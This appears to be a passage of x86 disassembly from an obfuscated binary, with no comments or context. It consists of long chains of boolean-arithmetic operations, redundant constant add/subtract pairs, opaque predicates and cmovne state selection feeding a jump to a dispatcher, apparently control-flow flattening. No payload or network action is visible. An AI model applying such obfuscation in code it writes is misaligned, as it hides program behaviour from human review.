xor cl, 0
mov bl, byte [ebp - 0x3654]
and bl, cl
mov bh, dl
xor bh, 1
and bh, 0
and cl, 1
or al, bl
or bh, cl
xor al, bh
mov cl, byte [ebp - 0x364d]
xor cl, 0xff
mov bl, al
and bl, cl
xor al, 0xff
mov cl, byte [ebp - 0x364d]
and cl, al
or bl, cl
mov al, byte [ebp - 0x364d]
xor al, 0xff
mov cl, bl
xor cl, al
and cl, bl
mov al, ah
xor al, 0xff
mov bl, ch
xor bl, al
and bl, ch
mov al, ch
xor al, 0xff
and al, 1
mov bh, dl
xor bh, 1
and ch, bh
mov byte [ebp - 0x365a], al
mov al, ah
xor al, 0xff
and al, 0xff
and ah, bh
mov bh, byte [ebp - 0x365a]
or bh, ch
or al, ah
xor bh, al
mov al, bl
xor al, 0xff
mov ah, bh
xor ah, 0xff
mov ch, dl
xor ch, 0
mov byte [ebp - 0x365b], al
and al, 0
and bl, ch
mov byte [ebp - 0x365c], al
mov al, ah
and al, 0
and bh, ch
mov byte [ebp - 0x365d], al
mov al, byte [ebp - 0x365c]
or al, bl
mov bl, byte [ebp - 0x365d]
or bl, bh
xor al, bl
mov bl, byte [ebp - 0x365b]
or bl, ah
xor bl, 0xff
or ch, 0
and bl, ch
or al, bl
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov bl, dh
and bl, ch
or ah, bl
mov ch, cl
xor ch, 0xff
and ch, 1
mov bl, dl
xor bl, 1
mov bh, cl
and bh, bl
or ch, bh
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
mov bh, dl
xor bh, 1
mov byte [ebp - 0x365e], al
mov al, ah
xor al, bh
and al, ah
xor dh, 0xff
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0x365f], al
mov al, dl
xor al, 0
or dh, bh
or al, 0
xor dh, 0xff
and dh, al
mov al, dl
xor al, 1
mov bh, ch
xor bh, al
and bh, ch
xor cl, 0xff
mov al, bl
xor al, 0xff
mov byte [ebp - 0x3660], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3661], al
mov al, byte [ebp - 0x3660]
or cl, al
mov al, byte [ebp - 0x3661]
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x365f]
and al, dh
mov byte [ebp - 0x3662], al
mov al, byte [ebp - 0x365f]
xor al, dh
mov dh, byte [ebp - 0x3662]
or dh, al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x3663], al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x3664], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3665], al
mov al, byte [ebp - 0x3663]
and al, 0xff
mov byte [ebp - 0x3666], al
mov al, byte [ebp - 0x3665]
and bh, al
mov al, byte [ebp - 0x3664]
and al, 0xff
mov byte [ebp - 0x3667], al
mov al, byte [ebp - 0x3665]
and cl, al
mov al, byte [ebp - 0x3666]
or al, bh
mov bh, byte [ebp - 0x3667]
or bh, cl
xor al, bh
mov cl, byte [ebp - 0x3663]
mov bh, byte [ebp - 0x3664]
or cl, bh
xor cl, 0xff
mov bh, byte [ebp - 0x3665]
or bh, 1
and cl, bh
or al, cl
mov cl, dh
xor cl, 0xff
mov bh, al
and bh, cl
xor al, 0xff
and dh, al
or bh, dh
mov al, ah
xor al, 0xff
mov cl, ch
xor cl, 0xff
mov dh, dl
xor dh, 0
mov byte [ebp - 0x3668], al
and al, 0
and ah, dh
mov byte [ebp - 0x3669], al
mov al, cl
and al, 0
and ch, dh
mov byte [ebp - 0x366a], al
mov al, byte [ebp - 0x3669]
or al, ah
mov ah, byte [ebp - 0x366a]
or ah, ch
xor al, ah
mov ah, byte [ebp - 0x3668]
or ah, cl
xor ah, 0xff
or dh, 0
and ah, dh
or al, ah
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and al, ah
or cl, al
mov al, dl
xor al, 1
mov ah, bl
xor ah, 0xff
mov ch, dl
xor ch, 1
mov dh, al
and dh, 0xff
mov byte [ebp - 0x366b], al
mov al, ch
and al, 1
mov byte [ebp - 0x366c], al
mov al, ah
and al, 0xff
and bl, ch
mov byte [ebp - 0x366d], al
mov al, byte [ebp - 0x366c]
or dh, al
mov al, byte [ebp - 0x366d]
or al, bl
xor dh, al
mov al, byte [ebp - 0x366b]
or al, ah
xor al, 0xff
or ch, 1
and al, ch
or dh, al
xor cl, 0xff
xor dh, 0xff
mov al, dl
xor al, 0
or cl, dh
or al, 0
xor cl, 0xff
and cl, al
mov al, bh
xor al, 0xff
mov ah, cl
xor ah, 0xff
mov ch, dl
xor ch, 0
mov dh, al
and dh, 0
and bh, ch
mov bl, ah
and bl, 0
and cl, ch
or dh, bh
or bl, cl
xor dh, bl
or al, ah
xor al, 0xff
or ch, 0
and al, ch
or dh, al
mov al, byte [ebp - 0x365e]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ah, byte [ebp - 0x365e]
and ah, cl
mov ch, dl
xor ch, 1
and ch, 0
and cl, 1
or al, ah
or ch, cl
xor al, ch
xor al, 0xff
mov cl, dh
xor cl, al
and cl, dh
mov al, dh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and dh, ah
or al, dh
mov ah, byte [ebp - 0x365e]
xor ah, 0xff
xor al, 0xff
mov ch, dl
xor ch, 1
or ah, al
or ch, 1
xor ah, 0xff
and ah, ch
mov al, cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov dh, dl
xor dh, 1
mov bl, al
and bl, 0xff
and cl, dh
mov bh, ch
and bh, 0xff
and ah, dh
or bl, cl
or bh, ah
xor bl, bh
or al, ch
xor al, 0xff
or dh, 1
and al, dh
or bl, al
mov al, byte [ebp - 0x3651]
xor al, 0xff
mov cl, byte [ebp - 0x3650]
xor cl, al
mov al, byte [ebp - 0x3650]
and cl, al
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
mov ch, byte [ebp - 0x3650]
and ch, ah
mov dh, byte [ebp - 0x3651]
xor dh, 0xff
and dh, 0
mov bh, byte [ebp - 0x3651]
and bh, ah
or al, ch
or dh, bh
xor al, dh
mov ah, cl
xor ah, 0xff
mov ch, al
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bh, ah
and bh, 0
and cl, dh
mov byte [ebp - 0x366e], al
mov al, ch
and al, 0
mov byte [ebp - 0x366f], al
mov al, byte [ebp - 0x366e]
and al, dh
or bh, cl
mov cl, byte [ebp - 0x366f]
or cl, al
xor bh, cl
or ah, ch
xor ah, 0xff
or dh, 0
and ah, dh
or bh, ah
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, bh
and ah, cl
or al, ah
mov cl, dl
xor cl, 1
xor al, 0xff
mov ah, dl
xor ah, 0
or cl, al
or ah, 0
xor cl, 0xff
and cl, ah
mov al, dl
xor al, 1
and al, 0
mov ah, dl
xor ah, 0
mov ch, ah
and ch, 1
mov dh, dl
xor dh, 1
and dh, 0
and ah, 1
or al, ch
or dh, ah
xor al, dh
xor al, 0xff
mov ah, bh
xor ah, al
and ah, bh
mov al, cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bh, al
and bh, 0
and cl, dh
mov byte [ebp - 0x3670], al
mov al, ch
and al, 0
and ah, dh
or bh, cl
or al, ah
xor bh, al
mov al, byte [ebp - 0x3670]
or al, ch
xor al, 0xff
or dh, 0
and al, dh
or bh, al
mov al, dl
xor al, 1
and al, 0
mov cl, dl
xor cl, 0
mov ah, cl
and ah, 1
mov ch, dl
xor ch, 1
and ch, 0
and cl, 1
or al, ah
or ch, cl
xor al, ch
mov cl, byte [ebp - 0x3654]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x3654]
and ch, ah
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or cl, ch
or dh, ah
xor cl, dh
mov ah, dl
xor ah, 0
and ah, 1
mov ch, dl
xor ch, 1
and ch, 0
or ah, ch
mov ch, dl
xor ch, 0
mov dh, al
xor dh, ch
and dh, al
mov ch, ah
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov byte [ebp - 0x3671], al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x3672], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3673], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3674], al
mov al, byte [ebp - 0x3672]
mov byte [ebp - 0x3675], cl
mov cl, byte [ebp - 0x3673]
or al, cl
mov cl, byte [ebp - 0x3674]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x3654]
xor cl, 0xff
mov byte [ebp - 0x3676], al
mov al, ah
xor al, 0xff
mov byte [ebp - 0x3677], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3678], al
mov al, byte [ebp - 0x3677]
or cl, al
mov al, byte [ebp - 0x3678]
or al, 1
xor cl, 0xff
and cl, al
mov al, dh
and al, ch
xor dh, ch
or al, dh
mov ch, byte [ebp - 0x3676]
and ch, cl
mov dh, byte [ebp - 0x3676]
xor dh, cl
or ch, dh
mov cl, al
xor cl, 0xff
mov dh, ch
and dh, cl
xor ch, 0xff
and al, ch
or dh, al
mov al, byte [ebp - 0x3671]
mov cl, byte [ebp - 0x3675]
and al, cl
mov ch, byte [ebp - 0x3671]
xor ch, cl
or al, ch
mov ch, al
xor ch, 0xff
and ch, 1
mov cl, dl
xor cl, 1
and al, cl
or ch, al
mov al, ah
and al, 0
xor ah, 0
or al, ah
xor al, 0xff
mov cl, ch
xor cl, al
and cl, ch
mov al, dh
xor al, 0xff
mov ah, cl
xor ah, 0xff
mov ch, dl
xor ch, 0
mov byte [ebp - 0x3679], al
and al, 0
and dh, ch
mov byte [ebp - 0x367a], al
mov al, ah
and al, 0
and cl, ch
mov byte [ebp - 0x367b], al
mov al, byte [ebp - 0x367a]
or al, dh
mov dh, byte [ebp - 0x367b]
or dh, cl
xor al, dh
mov cl, byte [ebp - 0x3679]
or cl, ah
xor cl, 0xff
or ch, 0
and cl, ch
or al, cl
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and bh, ah
or cl, bh
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
and al, ch
or ah, al
mov al, dl
xor al, 0
and al, 1
mov ch, dl
xor ch, 1
and ch, 0
or al, ch
mov ch, cl
xor ch, 0xff
mov dh, ah
xor dh, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x367c], al
mov al, ch
and al, 0xff
and cl, bh
mov byte [ebp - 0x367d], al
mov al, dh
and al, 0xff
and ah, bh
mov byte [ebp - 0x367e], al
mov al, byte [ebp - 0x367d]
or al, cl
mov cl, byte [ebp - 0x367e]
or cl, ah
xor al, cl
or ch, dh
xor ch, 0xff
or bh, 1
and ch, bh
or al, ch
mov cl, byte [ebp - 0x367c]
and cl, 0
mov ah, byte [ebp - 0x367c]
xor ah, 0
or cl, ah
mov ah, al
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
and al, ch
mov dh, dl
xor dh, 1
and dh, 0
and ch, 1
or ah, al
or dh, ch
xor ah, dh
xor ah, 0xff
xor cl, 0xff
mov al, dl
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov al, bl
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov ch, dl
xor ch, 0
or al, cl
or ch, 0
xor al, 0xff
and al, ch
mov cl, bl
xor cl, 0xff
and cl, 1
xor dl, 1
and bl, dl
mov ch, ah
xor ch, 0xff
and ch, 0xff
and ah, dl
or cl, bl
or ch, ah
xor cl, ch
mov dl, al
and dl, cl
xor al, cl
or dl, al
test dl, 1
mov esi, dword [ebp - 0x3640]
mov edi, dword [ebp - 0x364c]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0x1dc764d1
mov ecx, 0x522ae2ee
mov dl, 1
xor esi, esi
mov edi, dword [0x4ac09c]
mov ebx, dword [0x4ac084]
mov dword [ebp - 0x3888], eax
mov eax, edi
add eax, 0xe704b601
sub eax, 0xa1df98ba
sub eax, 0xe704b601
add eax, 0x5897bc12
sub eax, 0x9809bcbd
sub eax, 0x5897bc12
mov dword [ebp - 0x388c], eax
mov eax, esi
mov dword [ebp - 0x3890], ecx
mov ecx, dword [ebp - 0x388c]
sub eax, ecx
mov ecx, esi
sub ecx, 0xa1df98ba
add eax, ecx
mov ecx, esi
sub ecx, eax
add ecx, 0x76ab7a35
add ecx, 0xd03e0d2d
sub ecx, 0x76ab7a35
sub ecx, 0xd660cb3c
sub ecx, 1
add ecx, 0xd660cb3c
add ecx, 0xc8809768
sub ecx, 0xd03e0d2d
sub ecx, 0xc8809768
mov eax, esi
sub eax, 0x6ebe9481
sub eax, ecx
add eax, 0x6ebe9481
mov ecx, esi
sub ecx, 0x713bee2a
sub ecx, 0x9809bcbd
add ecx, 0x713bee2a
mov dword [ebp - 0x3894], eax
mov eax, esi
sub eax, ecx
mov ecx, dword [ebp - 0x3894]
sub ecx, eax
sub esi, ecx
add esi, 0
imul edi, esi
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, al
and bl, ch
or cl, bl
mov ch, dl
xor ch, 0
and ch, 1
mov bl, dl
xor bl, 1
and bl, 0
or ch, bl
mov bl, ah
and bl, cl
xor ah, cl
or bl, ah
mov cl, dl
xor cl, 0
mov ah, ch
xor ah, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3895], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x3896], al
mov al, bh
and al, 0
mov byte [ebp - 0x3897], al
mov al, ah
and al, 0xff
and ch, bh
mov byte [ebp - 0x3898], al
mov al, byte [ebp - 0x3896]
mov byte [ebp - 0x3899], cl
mov cl, byte [ebp - 0x3897]
or al, cl
mov cl, byte [ebp - 0x3898]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x3899]
or cl, ah
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and bl, ah
mov ch, dl
xor ch, 1
and ch, 0xff
and ah, 1
or cl, bl
or ch, ah
xor cl, ch
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 0
or cl, al
or ah, 0
xor cl, 0xff
and cl, ah
mov al, dh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov ch, dh
and ch, ah
or al, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
xor dh, 0xff
mov ch, ah
xor ch, 0xff
mov bl, dl
xor bl, 1
or dh, ch
or bl, 1
xor dh, 0xff
and dh, bl
mov ch, byte [ebp - 0x3895]
xor ch, 0xff
and ch, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0x3895]
and bh, bl
mov byte [ebp - 0x389a], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
xor ch, 0xff
mov al, dl
xor al, 1
mov bl, dl
xor bl, 1
or ch, al
or bl, 1
xor ch, 0xff
and ch, bl
mov al, byte [ebp - 0x3895]
xor al, 0xff
xor ah, 0xff
mov bl, dl
xor bl, 0
or al, ah
or bl, 0
xor al, 0xff
and al, bl
mov ah, byte [ebp - 0x389a]
xor ah, 0xff
mov bl, dh
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x389b], al
mov al, ah
and al, 0
mov byte [ebp - 0x389c], al
mov al, byte [ebp - 0x389a]
and al, bh
mov byte [ebp - 0x389d], al
mov al, bl
and al, 0
and dh, bh
mov byte [ebp - 0x389e], al
mov al, byte [ebp - 0x389c]
mov byte [ebp - 0x389f], cl
mov cl, byte [ebp - 0x389d]
or al, cl
mov cl, byte [ebp - 0x389e]
or cl, dh
xor al, cl
or ah, bl
xor ah, 0xff
or bh, 0
and ah, bh
or al, ah
mov cl, ch
xor cl, 0xff
mov ah, byte [ebp - 0x389b]
xor ah, 0xff
mov dh, dl
xor dh, 1
mov bl, cl
and bl, 0xff
and ch, dh
mov bh, ah
and bh, 0xff
mov byte [ebp - 0x38a0], al
mov al, byte [ebp - 0x389b]
and al, dh
or bl, ch
or bh, al
xor bl, bh
or cl, ah
xor cl, 0xff
or dh, 1
and cl, dh
or bl, cl
mov al, byte [ebp - 0x38a0]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0x38a0]
and ah, cl
mov ch, bl
xor ch, 0xff
and ch, 0xff
and bl, cl
or al, ah
or ch, bl
xor al, ch
mov cl, byte [ebp - 0x389f]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x389f]
and ch, ah
or cl, ch
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, al
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
mov ch, dl
xor ch, 1
and ch, 0
mov dh, dl
xor dh, 0
mov bl, dh
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
mov dh, dl
xor dh, 1
mov bl, cl
xor bl, dh
and bl, cl
mov dh, byte [ebp - 0x389f]
xor dh, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x38a1], al
mov al, dl
xor al, 0
or dh, bh
or al, 0
xor dh, 0xff
and dh, al
mov al, ah
xor al, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x38a2], al
mov al, dl
xor al, 1
mov byte [ebp - 0x38a3], al
mov al, byte [ebp - 0x38a2]
or al, bh
mov bh, byte [ebp - 0x38a3]
or bh, 1
xor al, 0xff
and al, bh
mov bh, byte [ebp - 0x38a1]
xor bh, 0xff
mov byte [ebp - 0x38a4], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x38a5], al
mov al, dl
xor al, 1
mov byte [ebp - 0x38a6], al
mov al, byte [ebp - 0x38a5]
or bh, al
mov al, byte [ebp - 0x38a6]
or al, 1
xor bh, 0xff
and bh, al
mov al, bl
xor al, 0xff
mov byte [ebp - 0x38a7], al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x38a8], al
mov al, dl
xor al, 0
mov byte [ebp - 0x38a9], al
mov al, byte [ebp - 0x38a7]
and al, 0
mov byte [ebp - 0x38aa], al
mov al, byte [ebp - 0x38a9]
and bl, al
mov al, byte [ebp - 0x38a8]
and al, 0
mov byte [ebp - 0x38ab], al
mov al, byte [ebp - 0x38a9]
and dh, al
mov al, byte [ebp - 0x38aa]
or al, bl
mov bl, byte [ebp - 0x38ab]
or bl, dh
xor al, bl
mov dh, byte [ebp - 0x38a7]
mov bl, byte [ebp - 0x38a8]
or dh, bl
xor dh, 0xff
mov bl, byte [ebp - 0x38a9]
or bl, 0
and dh, bl
or al, dh
mov dh, byte [ebp - 0x38a4]
and dh, bh
mov bl, byte [ebp - 0x38a4]
xor bl, bh
or dh, bl
mov bl, al
xor bl, 0xff
mov bh, dh
and bh, bl
xor dh, 0xff
and al, dh
or bh, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and al, ah
or cl, al
mov al, ch
and al, 1
xor ch, 1
or al, ch
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, bh
xor al, 0xff
mov ah, cl
xor ah, 0xff
xor dl, 1
mov ch, al
and ch, 0xff
and bh, dl
mov dh, ah
and dh, 0xff
and cl, dl
or ch, bh
or dh, cl
xor ch, dh
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or ch, al
test ch, 1
mov esi, dword [ebp - 0x3888]
mov edi, dword [ebp - 0x3890]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0xdb5417e7
mov ecx, 0x859b5c
mov dl, 1
xor esi, esi
mov edi, dword [0x4ac09c]
mov ebx, dword [0x4ac084]
mov dword [ebp - 0x38e4], eax
mov eax, esi
sub eax, 0x8dd0bac8
sub eax, 1
add eax, 0x8dd0bac8
mov dword [ebp - 0x38e8], eax
mov eax, esi
sub eax, 0x9e69f151
mov dword [ebp - 0x38ec], ecx
mov ecx, dword [ebp - 0x38e8]
add eax, ecx
add eax, 0x9e69f151
mov ecx, edi
add ecx, 0x1596c3d9
sub ecx, 0x8af9cb7f
sub ecx, 0x1596c3d9
sub ecx, 0x9ab5c3f1
add ecx, eax
add ecx, 0x9ab5c3f1
sub esi, 0x8af9cb7f
sub ecx, esi
imul edi, ecx
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 0
mov cl, dl
xor cl, 0
mov ch, dh
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
mov cl, dl
xor cl, 1
xor ah, 0xff
mov ch, dl
xor ch, 1
or cl, ah
or ch, 1
xor cl, 0xff
and cl, ch
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
mov ch, dh
xor ch, 0xff
xor ah, 0xff
mov bl, dl
xor bl, 1
or ch, ah
or bl, 1
xor ch, 0xff
and ch, bl
mov ah, cl
xor ah, 0xff
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x38ed], al
mov al, ah
and al, 0
and cl, bh
mov byte [ebp - 0x38ee], al
mov al, bl
and al, 0
and ch, bh
mov byte [ebp - 0x38ef], al
mov al, byte [ebp - 0x38ee]
or al, cl
mov cl, byte [ebp - 0x38ef]
or cl, ch
xor al, cl
or ah, bl
xor ah, 0xff
or bh, 0
and ah, bh
or al, ah
mov cl, byte [ebp - 0x38ed]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x38ed]
and ch, ah
or cl, ch
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, dl
xor ah, 1
and ah, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
xor ah, 0xff
mov ch, byte [ebp - 0x38ed]
xor ch, ah
mov ah, byte [ebp - 0x38ed]
and ch, ah
mov bl, cl
and bl, ch
xor cl, ch
or bl, cl
mov cl, dl
xor cl, 0
and cl, 0
mov ch, dl
xor ch, 0
mov bh, ch
and bh, 0
mov ah, dl
xor ah, 1
and ah, 0
and ch, 1
or cl, bh
or ah, ch
xor cl, ah
mov ah, dl
xor ah, 1
xor cl, 0xff
mov ch, dl
xor ch, 1
or ah, cl
or ch, 1
xor ah, 0xff
and ah, ch
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
and ch, 1
or cl, ch
xor cl, 0xff
xor cl, 0
and cl, 0
mov ch, ah
and ch, cl
xor ah, cl
or ch, ah
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov bh, al
and bh, ah
or cl, bh
mov ah, dl
xor ah, 0
and ah, 1
mov bh, dl
xor bh, 1
and bh, 0
or ah, bh
mov bh, dl
xor bh, 1
and bh, 0
mov byte [ebp - 0x38f0], al
mov al, dl
xor al, 0
mov byte [ebp - 0x38f1], al
and al, 1
mov byte [ebp - 0x38f2], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0x38f3], al
mov al, byte [ebp - 0x38f1]
and al, 1
mov byte [ebp - 0x38f4], al
mov al, byte [ebp - 0x38f2]
or bh, al
mov al, byte [ebp - 0x38f3]
mov byte [ebp - 0x38f5], cl
mov cl, byte [ebp - 0x38f4]
or al, cl
xor bh, al
mov al, byte [ebp - 0x38f5]
and al, ah
mov cl, byte [ebp - 0x38f5]
xor cl, ah
or al, cl
mov cl, dl
xor cl, 1
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0x38f6], al
mov al, dl
xor al, 1
mov byte [ebp - 0x38f7], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x38f8], al
mov al, byte [ebp - 0x38f7]
and al, 1
mov byte [ebp - 0x38f9], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x38fa], al
mov al, byte [ebp - 0x38f7]
and bh, al
mov al, byte [ebp - 0x38f8]
mov byte [ebp - 0x38fb], cl
mov cl, byte [ebp - 0x38f9]
or al, cl
mov cl, byte [ebp - 0x38fa]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x38fb]
or cl, ah
xor cl, 0xff
mov ah, byte [ebp - 0x38f7]
or ah, 1
and cl, ah
or al, cl
mov cl, byte [ebp - 0x38f6]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov bh, byte [ebp - 0x38f6]
and bh, ah
or cl, bh
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, ch
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov bh, ch
and bh, ah
mov byte [ebp - 0x38fc], al
mov al, dl
xor al, 1
and al, 0xff
and ah, 1
mov byte [ebp - 0x38fd], al
mov al, byte [ebp - 0x38fc]
or al, bh
mov bh, byte [ebp - 0x38fd]
or bh, ah
xor al, bh
mov ah, dh
xor ah, 0xff
mov bh, al
and bh, ah
xor al, 0xff
mov ah, dh
and ah, al
or bh, ah
xor bh, 0xff
xor dh, 0xff
mov al, dl
xor al, 1
or bh, dh
or al, 1
xor bh, 0xff
and bh, al
mov al, bl
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
mov dh, bl
and dh, ah
mov byte [ebp - 0x38fe], al
mov al, dl
xor al, 1
and al, 0
and ah, 1
mov byte [ebp - 0x38ff], al
mov al, byte [ebp - 0x38fe]
or al, dh
mov dh, byte [ebp - 0x38ff]
or dh, ah
xor al, dh
mov ah, dl
xor ah, 0
and ah, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x3900], al
mov al, dh
and al, 0
mov byte [ebp - 0x3901], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0x3902], al
mov al, byte [ebp - 0x3901]
or ah, al
mov al, byte [ebp - 0x3902]
or al, dh
xor ah, al
mov al, dl
xor al, 0
and al, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x3903], al
mov al, dh
and al, 0
mov byte [ebp - 0x3904], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0x3905], al
mov al, byte [ebp - 0x3903]
mov byte [ebp - 0x3906], cl
mov cl, byte [ebp - 0x3904]
or al, cl
mov cl, byte [ebp - 0x3905]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x3900]
and cl, ah
mov dh, byte [ebp - 0x3900]
xor dh, ah
or cl, dh
mov ah, dl
xor ah, 0
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x3907], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3908], al
mov al, ah
and al, 0
mov byte [ebp - 0x3909], al
mov al, byte [ebp - 0x3908]
and al, 0
mov byte [ebp - 0x390a], al
mov al, dh
and al, 0
mov byte [ebp - 0x390b], al
mov al, byte [ebp - 0x3907]
mov byte [ebp - 0x390c], cl
mov cl, byte [ebp - 0x3908]
and al, cl
mov cl, byte [ebp - 0x3909]
mov byte [ebp - 0x390d], al
mov al, byte [ebp - 0x390a]
or cl, al
mov al, byte [ebp - 0x390b]
mov byte [ebp - 0x390e], cl
mov cl, byte [ebp - 0x390d]
or al, cl
mov cl, byte [ebp - 0x390e]
xor cl, al
or ah, dh
xor ah, 0xff
mov al, byte [ebp - 0x3908]
or al, 0
and ah, al
or cl, ah
mov al, byte [ebp - 0x390c]
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov dh, byte [ebp - 0x390c]
and dh, ah
or al, dh
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, ch
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov dh, ch
and dh, cl
or al, dh
mov cl, byte [ebp - 0x38ed]
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x390f], al
mov al, byte [ebp - 0x38ed]
and al, dh
mov byte [ebp - 0x3910], al
mov al, byte [ebp - 0x390f]
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x3911], al
mov al, byte [ebp - 0x390f]
and al, dh
mov dh, byte [ebp - 0x3910]
or cl, dh
mov dh, byte [ebp - 0x3911]
or dh, al
xor cl, dh
mov al, byte [ebp - 0x38ed]
xor al, 0xff
mov dh, cl
xor dh, al
and dh, cl
mov al, byte [ebp - 0x3906]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov byte [ebp - 0x3912], al
mov al, byte [ebp - 0x3906]
and al, cl
mov byte [ebp - 0x3913], al
mov al, dl
xor al, 1
and al, 0
and cl, 1
mov byte [ebp - 0x3914], al
mov al, byte [ebp - 0x3912]
mov byte [ebp - 0x3915], cl
mov cl, byte [ebp - 0x3913]
or al, cl
mov cl, byte [ebp - 0x3914]
mov byte [ebp - 0x3916], al
mov al, byte [ebp - 0x3915]
or cl, al
mov al, byte [ebp - 0x3916]
xor al, cl
mov cl, bh
xor cl, 0xff
and cl, 1
mov byte [ebp - 0x3917], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3918], al
mov al, bh
mov byte [ebp - 0x3919], cl
